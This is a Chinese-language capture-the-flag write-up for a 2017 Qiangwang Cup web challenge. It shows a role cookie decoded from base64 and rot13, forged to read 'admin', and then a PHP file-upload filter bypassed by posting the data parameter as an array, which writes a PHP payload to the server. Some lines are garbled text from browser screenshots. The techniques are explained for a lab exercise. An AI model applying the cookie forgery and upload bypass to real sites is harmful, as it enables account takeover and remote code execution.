2017强网杯 web 解题思路总结

首先打开题目连接,出现下图所示,发现并没有什么有用的信息

• 106.75.72.168:2222/	× +												
$\overleftarrow{\leftarrow}$ \rightarrow X $\overleftarrow{\omega}$	i 106.75.72.168:2222		🛛 🕁	×	6	Ê	Q	☆	111	☆		•	≡

1.初步思考

没有提示,也没有连接,那么可能有以下几种可能: 1.1 敏感文件泄露; (目录扫描) 1.2 跳转; (抓包) 1.3 cookie / session。(查看cookie)

2.cookie中的role

Zjo10iJ0aHJmZyI7 base64解码得到: f:5:"thrfg"; ,将 thrfg rot13解密后得到 guest

于是改为admin逆过去, admin rot13转换得到 nqzva, 再将 f:5:"nqzva"; base64编码得到 Zjo10iJucXp2YSI7

修改cookie的值提交到服务器,得到如下回应

106.75.72.168:2222/ X http://106.75.72.168:2222/	× +	
← → C ^I	♥☆ ಜೀ∎ ♀ ⊄ ⊪ ☆ ₪ ♥	≡
● HackBar Quantum ~	c Hello admin, now you can upload something you are easy to forget)

查看源码,发现线索 **\$filename = \$_POST['filename']; \$data = \$_POST['data'];** 可以看到这是一个POST文件上传的操作,

接下来,顺着提示,借助于浏览器器插件hackbar,将 filename=hh.php&data=<?php phpinfo(); ?> POST出去,得到 No No No!,

106.75.72.168:2222/	× http://106.75.72.168:2222/	>	http://106.75.72.168:2222/	× +

查看源码,没啥有用的信息

猜测代码中有一个用来匹配的正则表达式

写入文件除了fopen fwrite fclose 还有一种file_put_contents 这个允许data是数组 (不能是多维数组);

所以改为:

filename=hh.php&data=[]<?php phpinfo(); ?</pre>

再次POST,

106.75.72.168:2222/ × +									
← → C ² ⁽¹⁾ (i) 106.75.72.168:2222	···♥☆ ಜೀ∎⊜ ९ 호 ≫ ≡

得到了一个地址 ./uploads/d8bc6a3fb97ef6d2aec73924ea7c9409hh.php ,访问该地址 拿到flag
